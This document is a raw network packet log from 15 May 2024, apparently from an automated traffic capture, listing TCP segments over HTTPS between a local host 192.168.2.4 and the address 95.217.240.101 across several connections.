May 15, 2024 20:36:01.657167912 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.657202005 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.659852028 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.659866095 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.659915924 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.659923077 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.659957886 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.663436890 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.663451910 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.663508892 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.663517952 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.663552999 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.665955067 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.665982962 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.666012049 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.666018963 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.666043043 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.666060925 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.668772936 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.668786049 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.668832064 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.668838978 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.668858051 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.668876886 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.672113895 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.672128916 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.672161102 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.672168016 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.672182083 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.672199965 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.674838066 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.674858093 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.674892902 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.674900055 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.674922943 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.674942017 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.677203894 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.677218914 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.677269936 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.677277088 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.677310944 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.679806948 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.679821968 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.679884911 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.679891109 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.679932117 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.683171034 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.683193922 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.683229923 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.683237076 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.683269978 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.685766935 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.685782909 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.685843945 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.685852051 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.685889006 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.688030005 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.688043118 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.688106060 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.688112020 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.688159943 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.691382885 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.691400051 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.691498995 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.691509962 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.691550016 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.693860054 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.693875074 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.693937063 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.693945885 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.693980932 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.696345091 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.696384907 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.696422100 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.696429014 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.696441889 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.696464062 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.698630095 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.698647022 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.698707104 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.698714018 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.698750973 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.701816082 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.701829910 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.701889992 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.701894999 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.701926947 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.704230070 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.704243898 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.704312086 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.704319954 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.704360008 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.706634045 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.706653118 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.706713915 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.706720114 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.706758976 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.709552050 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.709584951 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.709610939 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.709619045 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.709657907 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.709676981 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.712166071 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.712182045 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.712235928 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.712244034 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.712284088 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.714907885 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.714927912 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.714993954 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.715002060 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.715032101 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.716725111 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.716749907 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.716785908 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.716792107 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.716823101 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.716833115 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.719307899 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.719322920 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.719371080 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.719377995 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.719415903 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.722738981 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.722771883 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.722800016 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.722805977 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.722826958 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.722846985 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.724183083 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.724209070 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.724240065 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.724246979 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.724272013 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.724289894 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.727401018 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.727435112 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.727461100 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.727467060 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.727493048 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.727510929 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.730015993 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.730036020 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.730130911 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.730139017 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.730175018 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.733182907 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.733200073 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.733261108 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.733270884 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.733309984 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.735290051 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.735305071 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.735361099 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.735367060 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.735404015 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.739166975 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.739181042 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.739257097 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.739264011 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.739303112 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.740705013 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.740722895 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.740792036 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.740799904 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.740835905 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.743521929 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.743545055 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.743581057 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.743587971 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.743612051 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.743619919 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.745183945 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.745198965 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.745246887 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.745254040 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.745289087 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.748358011 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.748373032 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.748433113 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.748440027 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.748473883 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.752480030 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.752501965 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.752540112 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.752547026 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.752568960 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.752587080 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.754008055 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.754023075 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.754061937 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.754069090 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.754079103 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.754101038 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.756675005 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.756690025 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.756721973 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.756728888 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.756746054 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.756759882 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.758919001 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.758934975 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.758985043 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.758991003 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.759028912 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.761019945 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.761043072 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.761079073 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.761085033 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.761118889 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.763721943 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.763736010 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.763799906 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.763808966 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.763844013 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765280962 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765295982 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765340090 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765346050 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765381098 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765671015 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765717030 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765722036 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765743017 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765758038 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765779018 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765837908 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765851021 CEST	443	49737	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.765860081 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.765892029 CEST	49737	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.824444056 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.824477911 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:01.824552059 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.824749947 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:01.824769974 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.297288895 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.297379017 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.298110962 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.298120022 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.300029039 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.300033092 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.300074100 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.300081968 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.996591091 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.996628046 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:02.996689081 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.996944904 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:02.996953964 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.296884060 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.296952009 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.296994925 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.297014952 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.298051119 CEST	49738	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.298067093 CEST	443	49738	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.500777960 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.500861883 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.501378059 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.501388073 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.503757954 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.503762007 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:03.503815889 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:03.503820896 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.037729025 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.037776947 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.037864923 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.038100004 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.038113117 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.504441023 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.504512072 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.526556969 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.526563883 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.528578043 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.528582096 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.561451912 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.561521053 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:04.561522961 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.561670065 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.562426090 CEST	49739	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:04.562443018 CEST	443	49739	95.217.240.101	192.168.2.4
May 15, 2024 20:36:05.497894049 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:05.497968912 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:05.497972012 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.498028994 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.883764029 CEST	49740	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.883795023 CEST	443	49740	95.217.240.101	192.168.2.4
May 15, 2024 20:36:05.970520973 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.970561028 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:05.970623016 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.971111059 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:05.971127987 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:06.442852974 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:06.442950010 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.491323948 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.491343021 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:06.493113041 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.493119001 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:06.996634960 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.996665001 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:06.996741056 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.996987104 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:06.996999979 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.468590021 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.468681097 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:07.469254017 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:07.469261885 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.471194983 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:07.471199989 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.493827105 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.493895054 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:07.494014978 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:07.496118069 CEST	49741	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:07.496133089 CEST	443	49741	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.213879108 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.213906050 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.213920116 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.215404987 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.215425968 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.215492010 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.318521976 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.318538904 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.318662882 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.318670988 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.318711996 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.471087933 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.471110106 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.471230030 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.471251011 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.471295118 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.574903965 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.574919939 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.575011969 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.575026989 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.575072050 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.654450893 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.654473066 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.654551983 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.654568911 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.654613018 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.711410046 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.711425066 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.711512089 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.711519957 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.711561918 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.757385969 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.757405996 CEST	443	49742	95.217.240.101	192.168.2.4
May 15, 2024 20:36:08.757514954 CEST	49742	443	192.168.2.4	95.217.240.101
May 15, 2024 20:36:08.757522106 CEST	443	49742	95.217.240.101	192.168.2.4
